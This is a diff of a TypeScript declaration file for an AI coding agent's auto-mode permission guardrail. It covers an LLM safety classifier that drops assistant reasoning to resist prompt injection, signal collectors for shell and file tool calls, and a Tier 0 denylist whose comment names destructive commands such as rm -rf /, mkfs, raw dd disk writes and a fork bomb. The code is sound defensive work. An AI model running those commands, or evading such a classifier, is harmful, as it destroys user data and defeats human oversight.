+ *      with explicit "Do NOT include thinking or preamble" guidance.
+ */
+
+interface BuildClassifierPromptInput {
+    readonly rules: AutoRules;
+    readonly claudeMd?: string;
+    readonly transcript: readonly KodaXMessage[];
+    readonly action: string;
+    /**
+     * FEATURE_158 (v0.7.39): mechanical pattern matches over the tool call
+     * (dangerous_pattern / protected_path / outside_project / network / etc.).
+     * Surfaced to the model as **informational input** — NOT verdicts. The
+     * model weighs signals alongside transcript + rules to produce the
+     * final allow / block / escalate decision.
+     *
+     * Empty / undefined → no `<signals>` block emitted (back-compat shape
+     * for callers that don't yet supply signals).
+     */
+    readonly signals?: readonly ToolCallSignal[];
+}
+interface ClassifierPrompt {
+    readonly system: string;
+    readonly messages: readonly KodaXMessage[];
+}
+declare function buildClassifierPrompt(input: BuildClassifierPromptInput): ClassifierPrompt;
+
+/**
+ * Transcript stripping for the auto-mode classifier — FEATURE_092 Phase 2b.3 (v0.7.33).
+ *
+ * The classifier sees a SUBSET of the main session's transcript:
+ *
+ *   - user messages (text and tool_result blocks)         KEEP
+ *   - assistant tool_use blocks (factual record)          KEEP
+ *   - assistant text + thinking + redacted_thinking       DROP
+ *
+ * Why drop assistant reasoning:
+ *   1. Prompt-injection defense — the main agent may have absorbed
+ *      instructions from a poisoned tool_result; its reasoning could
+ *      then propagate that injection to the classifier.
+ *   2. Noise reduction — assistant prose dilutes the signal the
+ *      classifier needs (user intent + actual tool calls).
+ *   3. Cost — main-session reasoning can be tens of KB; classifier
+ *      input should stay in the few-KB range.
+ *
+ * Two size budgets:
+ *   - maxToolResultBytes (default 2KB) — per-tool_result content cap
+ *   - maxTranscriptBytes (default 8KB) — total serialized size cap;
+ *     drops middle messages first, preserves first user message
+ *     (original intent) and recent tail.
+ */
+
+interface StripOptions {
+    readonly maxToolResultBytes?: number;
+    readonly maxTranscriptBytes?: number;
+}
+declare function stripAssistantText(messages: readonly KodaXMessage[], opts?: StripOptions): KodaXMessage[];
+
+/**
+ * Parse the auto-mode classifier's output — FEATURE_092 Phase 2b.3 (v0.7.33).
+ *
+ * Expected format:
+ *   <block>yes|no</block><reason>one short sentence</reason>
+ *
+ * Robustness:
+ *   - case-insensitive yes/no
+ *   - whitespace inside / around tags tolerated
+ *   - reason is optional (treated as '' if missing)
+ *   - if block tag missing or value is neither yes/no → unparseable (caller
+ *     fail-closes to block, per design doc)
+ *   - reasons longer than 500 chars are truncated (defense against
+ *     pathological model outputs)
+ *   - first <block> tag wins (defense against prompt-injection echoing
+ *     the format with a different value later)
+ */
+type ClassifierDecision = {
+    readonly kind: 'block';
+    readonly reason: string;
+} | {
+    readonly kind: 'allow';
+    readonly reason: string;
+} | {
+    readonly kind: 'unparseable';
+    readonly raw: string;
+};
+declare function parseClassifierOutput(raw: string): ClassifierDecision;
+
+/**
+ * Classifier Model Resolver — FEATURE_092 Phase 2b.5 (v0.7.33).
+ *
+ * Determines which (provider, model) pair the auto-mode classifier should
+ * call sideQuery against. Supports a 4-layer override chain (highest wins):
+ *
+ *   1. CLI flag         (--auto-classifier-model <spec>)
+ *   2. Env var          (KODAX_AUTO_CLASSIFIER_MODEL)
+ *   3. Session override (/auto-model <spec>)
+ *   4. User settings    (~/.kodax/settings.json: autoMode.classifierModel)
+ *
+ * Falls back to the main session's (provider, model) when no override is
+ * set — matching Claude Code's "use the same model you'd use for coding"
+ * default. Spec format: "provider:model" or just "model" (provider then
+ * inherits from the default-main).
+ *
+ * This module does NOT instantiate a KodaXBaseProvider — it returns names.
+ * The actual provider lookup happens at the AutoModeToolGuardrail call site
+ * (Phase 2b.6) so this module stays trivially testable without
+ * provider-registry side effects.
+ *
+ * Capability check (provider.supportsAutoModeClassifier) is deferred to a
+ * follow-up phase — extending FEATURE_029 capability profiles touches every
+ * provider. For v1 the call simply fails fast at sideQuery time if the
+ * provider can't stream text.
+ */
+interface ParsedModelSpec {
+    readonly providerName: string | null;
+    readonly model: string;
+}
+type ResolveSource = 'cli' | 'env' | 'session-override' | 'user-settings' | 'default-main';
+interface ResolveClassifierModelOptions {
+    readonly cliFlag?: string;
+    readonly envVar?: string;
+    readonly sessionOverride?: string;
+    readonly userSettings?: string;
+    readonly defaultProvider: string;
+    readonly defaultModel: string;
+}
+interface ResolvedClassifierModel {
+    readonly providerName: string;
+    readonly model: string;
+    readonly source: ResolveSource;
+}
+declare function parseModelSpec(spec: string): ParsedModelSpec;
+declare function resolveClassifierModel(opts: ResolveClassifierModelOptions): ResolvedClassifierModel;
+
+/**
+ * Bash Signal Collector — FEATURE_158 Step 3 (v0.7.39).
+ *
+ * Command-string-level mechanical pattern matches over a `bash` tool call.
+ * Produces signals the auto-mode classifier consumes as informational input
+ * (NOT verdicts — see `signals.ts` invariants).
+ *
+ * Scope of this collector:
+ *   - dangerous_pattern  (wraps `classifyBashCommand` from bash-classifier.ts;
+ *                        DEFAULT_DANGEROUS_PATTERNS hits become signals)
+ *   - network            (curl / wget / fetch literal token)
+ *   - package_install    (npm/pnpm/yarn/pip/cargo/apt/brew install verbs)
+ *   - git_write          (commit / push / reset / clean / rebase /
+ *                        cherry-pick / revert)
+ *
+ * **Out of scope (deferred to REPL-side `extraCollectors`)**:
+ *   - protected_path / outside_project signals that depend on extracting
+ *     paths from a bash command argv. The AST + path-extraction utilities
+ *     live in `@kodax/repl` for historical reasons (Issue 131 root cause);
+ *     keeping this module repl-independent preserves layer boundaries
+ *     (ADR-021). The guardrail accepts `extraCollectors` so REPL can inject
+ *     a path-aware bash collector built on its `extractPathsFromCommand`.
+ *
+ * Purity: deterministic given `call.input.command`. No async, no I/O.
+ */
+
+declare const bashSignalCollector: SignalCollector;
+
+/**
+ * File Signal Collector — FEATURE_158 Step 3 (v0.7.39).
+ *
+ * Produces signals for `write` / `edit` tool calls about the target path's
+ * relation to the project + protected zones. Used by the auto-mode
+ * classifier as informational input (NOT verdicts — see `signals.ts`
+ * invariants).
+ *
+ * Signal kinds produced:
+ *   - protected_path     (path under <projectRoot>/.kodax or ~/.kodax)
+ *   - outside_project    (path outside projectRoot AND outside system temp)
+ *   - file_modification  (always emitted with target path — coarse-grained
+ *                        flag for the classifier to anchor file-edit context)
+ *
+ * Tier 0 (absolute deny) for `~/.kodax/` writes is a separate module —
+ * this collector still emits the protected_path signal for `~/.kodax/`
+ * because the classifier prompt benefits from seeing it, but Tier 0
+ * intercepts before the classifier ever runs in production. The signal
+ * here remains useful for tests and for downgraded engine paths.
+ *
+ * Purity: deterministic given `call.input.path` + `projectRoot` + stable
+ * env (KODAX_HOME, system temp). `getAgentConfigHome()` and `os.tmpdir()`
+ * are env-stable per process — acceptable per `signals.ts` purity contract.
+ */
+
+declare const fileSignalCollector: SignalCollector;
+
+/**
+ * Tier 0 — Absolute Denylist — FEATURE_158 Step 4 (v0.7.39).
+ *
+ * The narrowest possible set of catastrophic patterns that must NEVER reach
+ * the LLM classifier (which is fallible / can be prompt-injected). Per
+ * ADR-025: every entry here must satisfy BOTH gates:
+ *
+ *   (a) "is there any legitimate context in which this should be allowed?"
+ *       — answer must be **no**.
+ *   (b) "could the LLM be convinced to allow it under prompt injection?"
+ *       — answer must be **yes** (otherwise classifier is sufficient).
+ *
+ * The 5-item list is **frozen** by ADR-025; adding entries requires a new
+ * ADR addendum answering (a)+(b) again. Removing entries requires evidence
+ * of high-volume false-positive friction.
+ *
+ * Patterns:
+ *
+ *   1. rm_rf_root      — `rm -rf /`, `rm -rf ~`, `rm -rf $HOME` (and quoted
+ *                        / -fr variants). Excludes `rm -rf /tmp/foo` (which
+ *                        is a `dangerous_pattern` signal but reaches LLM).
+ *   2. mkfs_or_format  — `mkfs.* /dev/sd*`, `fdisk /dev/sd*`, `format C:`.
+ *                        Block formatting any disk device.
+ *   3. dd_disk_write   — `dd of=/dev/sd*` (raw-disk write). Excludes
+ *                        `dd of=test.bin` (file write — reaches LLM as
+ *                        dangerous_pattern signal).
+ *   4. fork_bomb       — `:(){ :|:& };:` — denial of service.
+ *   5. user_kodax_write — write/edit to any path under `~/.kodax/`
+ *                        (credentials zone — internal kodax config writes
+ *                        use the TypeScript API, not bash/tools, so the
+ *                        only path here is LLM-emitted shell which is
+ *                        always wrong).
+ *
+ * Layer note: bash-level `~/.kodax/` writes (e.g. `echo x > ~/.kodax/y`)
+ * require AST path-extraction which lives in `@kodax/repl`. The REPL-side
+ * collector wired through `extraCollectors` (Step 7) escalates those to
+ * Tier 0 by emitting a synthetic `user_kodax_write` denial via the same
+ * `AbsoluteDenyResult` shape. This module handles the file-tool path
+ * directly (the most common attack vector) and the four command-string
+ * patterns that don't need path extraction.
+ */
+
+type TierZeroPatternId = 'rm_rf_root' | 'mkfs_or_format' | 'dd_disk_write' | 'fork_bomb' | 'user_kodax_write';
+interface AbsoluteDenyMatch {
+    readonly denied: true;
+    readonly patternId: TierZeroPatternId;
+    readonly reason: string;
+}
+interface AbsoluteDenyMiss {
+    readonly denied: false;
+}
+type AbsoluteDenyResult = AbsoluteDenyMatch | AbsoluteDenyMiss;
+/**
+ * Check a tool call against the Tier 0 absolute denylist. Returns the
+ * first matching pattern, or `{ denied: false }` if no pattern fires.
+ *
+ * Order is deterministic — patterns checked in the order defined above.
+ * Multiple matches would be possible (e.g. `rm -rf / ; :(){...};:`) but
+ * we return the first hit since the guardrail acts on `denied: true`
+ * regardless and the reason string is one-shot.
+ *
+ * **Pure**: deterministic given (call, projectRoot, stable env).
+ * **Fast**: ~5 regex tests + 1-2 string ops; safe to run on every
+ * non-Tier-1 call without measurable overhead.
+ */
+declare function checkAbsoluteDeny(call: RunnerToolCall, projectRoot: string): AbsoluteDenyResult;
+
+/**
+ * Speculative Classify — FEATURE_158 Step 4 (v0.7.39).
+ *
+ * Races an in-flight classifier promise against a short "quiet window".
+ * When the classifier returns within the window, callers can use the
+ * decision immediately — no confirm dialog, no perceptible latency. When
+ * the window expires first, callers fall through to the normal escalate
+ * flow (confirm dialog, with the classifier still running in background
+ * so the dialog can adopt the verdict if it arrives in time).
+ *
+ * Design ref: ADR-025 + FEATURE_158 (docs/features/v0.7.39.md).
+ *
+ * **The promise is NOT aborted on window expiry.** The caller retains
+ * ownership; they pass the same `Promise<T>` to `speculativeRace` and
+ * can `await` it elsewhere. This keeps the classifier from being
+ * cancelled mid-flight when 95% of calls are sub-window — wasting the
+ * remaining 5% would burn tokens already spent.
+ *
+ * Env knob: `KODAX_AUTO_SPECULATIVE_WINDOW_MS`
+ *   - default: 500 (CC's equivalent race uses ~2000ms with timeout race;
+ *     500ms is conservative for first iteration, finalized after
+ *     micro-bench in commit body)
+ *   - `0`     : disabled — `speculativeRace` waits forever for the promise
+ *     (degrades to synchronous classify)
+ *   - negative: treated as `0` (disabled)
+ *   - non-numeric: ignored, default used
+ */
+type SpeculativeResult<T> = {
+    readonly kind: 'resolved';
+    readonly value: T;
+} | {
+    readonly kind: 'window-expired';
+};
+declare const DEFAULT_WINDOW_MS = 500;
+/**
+ * Read the speculative window from `process.env[ENV_VAR]`. Returns
+ * `undefined` when the env var is unset or malformed (caller falls back
+ * to `DEFAULT_WINDOW_MS`). Returns `0` to mean "disabled — wait forever".
+ */
+declare function readWindowFromEnv(): number | undefined;
+/**
+ * Race the given promise against the speculative window. Returns
+ * `{kind: 'resolved', value}` when the promise wins (preferred fast path)
+ * or `{kind: 'window-expired'}` when the timer wins.
+ *
+ * Caller responsibilities:
+ *   - Hold the original `promise` reference. If the window expires, the
+ *     caller can still `await promise` later — speculativeRace does NOT
+ *     cancel it.
+ *   - If the promise REJECTS within the window, this function rejects
+ *     too (callers `try/catch` or attach `.catch` upstream). When the
+ *     window expires before rejection, the rejection is silently
+ *     absorbed here (we attach a no-op `.catch` to prevent
+ *     UnhandledPromiseRejection) and the caller will surface it later
+ *     when they await the original promise.
+ *
+ * windowMs precedence:
+ *   1. Explicit argument
+ *   2. `readWindowFromEnv()`
+ *   3. `DEFAULT_WINDOW_MS`
  *
- * See docs/ADR.md ADR-024 for the SDK formalization decision.
+ * `windowMs === 0` disables the race — returns `{kind: 'resolved'}` once
+ * the promise settles (equivalent to `await promise` wrapped in the
+ * result shape).
  */
-export * from '@kodax-ai/coding';
+declare function speculativeRace<T>(promise: Promise<T>, windowMs?: number): Promise<SpeculativeResult<T>>;
+
+export { Agent, AgentMessage, AutoRules, CANCELLED_TOOL_RESULT_MESSAGE, CANCELLED_TOOL_RESULT_PREFIX, CODING_AGENTS, CODING_AGENT_MARKER, CODING_INVARIANTS, CODING_SUMMARY_PROMPT, CODING_UPDATE_SUMMARY_PROMPT, CapabilityDeniedError, CapabilityKind, CapabilityProvider, CapabilityResult, KodaXClient as Client, CompactionContext, CompactionPolicy, ConstructionManifestError, DEFAULT_CODING_AGENT_NAME, DEFAULT_DANGEROUS_PATTERNS, DEFAULT_HANDLER_TIMEOUT_MS, DEFAULT_RESILIENCE_CONFIG, DEFAULT_SAFE_PATTERNS, DEFAULT_SELF_MODIFY_BUDGET, DEFAULT_WINDOW_MS as DEFAULT_SPECULATIVE_WINDOW_MS, DEFAULT_TOOL_OUTPUT_MAX_BYTES, DEFAULT_TOOL_OUTPUT_MAX_LINES, EMIT_CONTRACT_TOOL_NAME, EMIT_HANDOFF_TOOL_NAME, EMIT_SCOUT_VERDICT_TOOL_NAME, EMIT_VERDICT_TOOL_NAME, ErrorCategory, FailureStage, GENERATOR_AGENT_NAME, KODAX_TOOLS, KodaXAmaControllerDecision, KodaXBaseProvider, KodaXChildContextBundle, KodaXClient, KodaXCompactMemorySeed, KodaXContentBlock, KodaXContextOptions, KodaXEvents, KodaXExecutionMode, KodaXExtensionRuntime, KodaXExtensionSessionRecord, KodaXFanoutBranchRecord, KodaXFanoutBranchTransition, KodaXFanoutSchedulerInput, KodaXFanoutSchedulerPlan, KodaXInputArtifact, KodaXJsonValue, KodaXMessage, KodaXOptions, KodaXParentReductionContract, KodaXProviderCapabilityProfile, KodaXProviderPolicyHints, KodaXReasoningCapability, KodaXReasoningMode, KodaXRepoIntelligenceCapability, KodaXRepoIntelligenceMode, KodaXRepoIntelligenceResolvedMode, KodaXRepoIntelligenceTrace, KodaXRepoRoutingSignals, KodaXResult, KodaXSessionArtifactLedgerEntry, KodaXSessionControl, KodaXSessionEntry, KodaXSessionError, KodaXSessionLabelEntry, KodaXSessionLineage, KodaXSessionMutators, KodaXSessionNavigationOptions, KodaXSessionTreeNode, KodaXTaskRoutingDecision, KodaXTaskType, KodaXTerminalError, KodaXThinkingDepth, KodaXToolDefinition, KodaXToolError, KodaXToolExecutionContext, KodaXToolUseBlock, LINEAGE_ENTRY_TYPES, LineageCompaction, LineageExtension, McpCapabilityProvider, McpProviderOptions, McpServersConfig, PLANNER_AGENT_NAME, PROMPT_SECTION_REGISTRY, PROTOCOL_EMITTER_TOOLS, ProviderExecutionState, ProviderRecoveryCoordinator, ProviderResilienceConfig, ProviderResiliencePolicy, READ_DEFAULT_LIMIT, READ_MAX_LINE_CHARS, READ_PREFLIGHT_SIZE_BYTES, REPOINTEL_DEFAULT_ENDPOINT, RecoveryDecision, RecoveryResult, ResilienceClassification, SCOUT_AGENT_NAME, SYSTEM_PROMPT, Session, SessionEntry, SessionErrorMetadata, SessionExtension, SignalCollector, StableBoundaryTracker, TASK_ENGINE_ROLE_AGENTS, TOOL_RESULT_TRUNCATION_GUARDRAIL_NAME, ToolCallSignal, _resetRuntimeForTesting, activate, analyzeChangedScope, appendAuditEntry, appendSessionLineageLabel, applyFanoutBranchTransition, applySessionCompaction, applyToolResultGuardrail, archiveOldIslands, assignFanoutBranchWorker, bashSignalCollector, boundedRevise, budgetCeiling, buildAmaControllerDecision, buildCapabilityContextSections, buildClassifierPrompt, buildFallbackRoutingDecision, buildFanoutSchedulerPlan, buildLlmReviewPrompt, buildPromptMessageContent, buildPromptOverlay, buildPromptSnapshot, buildProviderCapabilitySnapshot, buildProviderPolicyHintsForDecision, buildProviderPolicyPromptNotes, buildRepoIntelligenceContext, buildRepoIntelligenceIndex, buildRepoOverview, buildSessionTree, buildSystemPrompt, buildSystemPromptSnapshot, checkAbsoluteDeny, checkIncompleteToolCalls, checkPromiseSignal, classify, classifyBashCommand, classifyError, classifyResilienceError, computeInputSignature, configureRuntime, convertCapabilityReadResult, convertProviderSearchResults, countActiveFanoutBranches, countActiveLineageMessages, createBashClassifierConfig, createBuiltinToolDefinition, createCtxProxy, createDefaultCodingAgent, createDenialTracker, createExtensionRuntime, createFanoutSchedulerInput, createKodaXTaskRunner, createPromptSection, createReasoningPlan, createSessionControl, createSessionLineage, createToolResultTruncationGuardrail, defaultPolicy, disableSelfModify, drainPendingSwaps, emitContract, emitHandoff, emitScoutVerdict, emitVerdict, evaluateProviderPolicy, exec, executeTool, extractArtifactLedger, extractComparableUserMessageText, extractHtmlTitle, extractPromptComparableText, extractTitleFromMessages, fileSignalCollector, finalizeRetrievalResult, findByVersion, findPreviousUserEntryId, forkSessionLineage, formatParallelDispatchResult, formatSize, generateSessionId, generatorAgent, generatorCodingAgent, getActiveExtensionRuntime, getAllRegisteredTools, getBuiltinRegisteredToolDefinition, getBuiltinToolDefinition, getDenialContext, getFanoutBranch, getImpactEstimate, getModuleContext, getProcessContext, getRegisteredToolDefinition, getRepoIntelligenceIndex, getRepoOverview, getRepoRoutingSignals, getRequiredToolParams, getSessionLineagePath, getSessionMessagesFromLineage, getSymbolContext, getTool, getToolDefinition, getToolRegistrations, getToolResultPolicy, hasPendingSwap, inferTaskType, inspectEditFailure, inspectRepoIntelligenceRuntime, isDeniedRecently, isParallelDispatchDirective, isToolFileMutation, isToolMutation, isToolPlanModeAllowed, listAll, list as listArtifacts, listBuiltinToolDefinitions, listConstructed, listToolDefinitions, listTools, loadHandler, markFanoutBranchCancelled, markFanoutBranchCompleted, mergeArtifactLedger, orderPromptSections, parseClassifierOutput, parseEditToolError, parseLlmReviewVerdict, parseModelSpec, persistToolOutput, plannerAgent, plannerCodingAgent, prewarmRepoIntelligenceCaches, readArtifact, readAuditEntries, readBudget, readDisableState, readWindowFromEnv as readSpeculativeWindowFromEnv, reasoningModeToDepth, reconstructMessagesWithToolGuard, recordDenial, registerCodingInvariants, registerConfiguredMcpCapabilityProvider, registerOfficialSandboxExtension, registerTool, rehydrateActiveArtifacts, remaining as remainingSelfModifyBudget, renderChangedScope, renderImpactEstimate, renderModuleContext, renderProcessContext, renderPromptSections, renderRepoOverview, renderRetrievalResult, renderSymbolContext, resetBudget, resolveClassifierModel, resolveConstructedAgent, resolveReasoningMode, resolveRepoIntelligenceMode, resolveRepoIntelligenceRuntimeConfig, resolveResilienceConfig, resolveSessionLineageTarget, resolveToolCapability, revoke, rewindSessionLineage, rollbackSelfModify, runAstRules, runKodaX, runLlmReview, runManagedTask, runOrchestration, scoutAgent, scoutCodingAgent, setActiveExtensionRuntime, setSessionLineageActiveEntry, speculativeRace, stage, startKodaX, stripAssistantText, stripHtmlToText, test as testArtifact, toolAskUserQuestion, toolBash, toolChangedDiff, toolChangedScope, toolCodeSearch, toolEdit, toolGlob, toolGrep, toolImpactEstimate, toolInsertAfterAnchor, toolModuleContext, toolPermission, toolProcessContext, toolRead, toolRepoOverview, toolSemanticLookup, toolSymbolContext, toolUndo, toolWebFetch, toolWebSearch, toolWrite, truncateHead, truncateLine, truncateTail, validateSubtaskIndependence, validateToolSchemaForProvider, warmRepoIntelligenceRuntime, webhook };
+export type { AbsoluteDenyMatch, AbsoluteDenyMiss, AbsoluteDenyResult, AgentArtifact, ArtifactStatus, AstCheckResult, AstRuleId, AstRuleViolation, AuditEntry, AuditEventKind, BashClassificationResult, BashClassifierConfig, BashRiskLevel, BudgetState, BuildClassifierPromptInput, BuildPromptInput, Capabilities, ChangedFileEntry, ChangedFileStatus, ChangedScopeAreaSummary, ChangedScopeReport, ClassifierDecision, ClassifierPrompt, ClassifyDecision, ClassifyOptions, ConstructionArtifact, ConstructionPolicy, ConstructionPolicyVerdict, CreateCtxProxyOptions, CreateKodaXTaskRunnerOptions, DenialRecord, DenialTracker, DisableState, EditRecoveryDiagnostic, EditToolErrorCode, ErrorClassification, ExecOptions, ExecResult, ExtensionCommandContext, ExtensionCommandDefinition, ExtensionCommandInvocation, ExtensionCommandResult, ExtensionContributionSource, ExtensionEventMap, ExtensionFailureDiagnostic, ExtensionFailureStage, ExtensionHookMap, ExtensionLoadSource, ExtensionLogger, ExtensionRuntimeController, ExtensionRuntimeDiagnostics, ExtensionToolBeforeHookContext, ImpactEstimateResult, KodaXAgentWorkerSpec, KodaXExtensionAPI, KodaXExtensionActivationResult, KodaXExtensionModule, KodaXPromptSection, KodaXPromptSectionDefinition, KodaXPromptSectionSlot, KodaXPromptSectionStability, KodaXPromptSnapshot, KodaXPromptSnapshotMetadata, KodaXProviderCapabilitySnapshot, KodaXProviderPolicyDecision, KodaXProviderPolicyIssue, KodaXProviderPolicyIssueSeverity, KodaXProviderSourceKind, KodaXRetrievalArtifact, KodaXRetrievalFreshness, KodaXRetrievalItem, KodaXRetrievalResult, KodaXRetrievalScope, KodaXRetrievalToolName, KodaXRetrievalTrust, LanguageCapabilityTier, LineageArtifactLedgerPayload, LineageCompactionDelegates, LineageEntryType, LineageLabelPayload, LineageTreeNode, LlmReviewClient, LlmReviewResult, LlmReviewVerdict, LoadHandlerOptions, LoadHandlerScope, LoadedExtensionDiagnostic, LocalToolDefinition, ModelProviderRegistration, ModuleCapsule, ModuleContextResult, OfficialSandboxMode, OfficialSandboxOptions, OrchestrationArtifact, OrchestrationCompletedTask, OrchestrationRunEvents, OrchestrationRunOptions, OrchestrationRunResult, OrchestrationTaskBudget, OrchestrationTaskContext, OrchestrationTaskExecution, OrchestrationTaskStatus, OrchestrationTraceEvent, OrchestrationWorkerResult, OrchestrationWorkerRunner, OrchestrationWorkerSpec, ParallelDispatchDirective, ParallelDispatchResult, ParallelSubtask, ParsedModelSpec, ProcessCapsule, ProcessContextResult, ProcessStep, ProtocolEmitterMetadata, RegisteredCapabilityProviderDiagnostic, RegisteredCommandDiagnostic, RegisteredHookDiagnostic, RegisteredToolDefinition, RegisteredToolDiagnostic, RepoAreaKind, RepoAreaOverview, RepoIntelligenceIndex, RepoIntelligenceRuntimeInspection, RepoIntelligenceRuntimeWarmResult, RepoLanguageId, RepoLanguageSupport, RepoOverview, RepoSymbolKind, RepoSymbolRecord, RepoSymbolReference, ResolveClassifierModelOptions, ResolveSource, ResolvedClassifierModel, RollbackResult, RunningSession, SchemaProvider, SchemaValidationResult, ScriptSource, SelfModifyAskUser, SelfModifyAskUserInput, SelfModifyDiffSeverity, SelfModifyDiffSummary, SpeculativeResult, StagedHandle, StripOptions, SymbolContextResult, TestArtifactOptions, TestResult, TierZeroPatternId, ToolContent, ToolDefinitionSource, ToolHandler, ToolRegistrationOptions, ToolRegistry, ToolSideEffect, WebhookOptions, WebhookResult };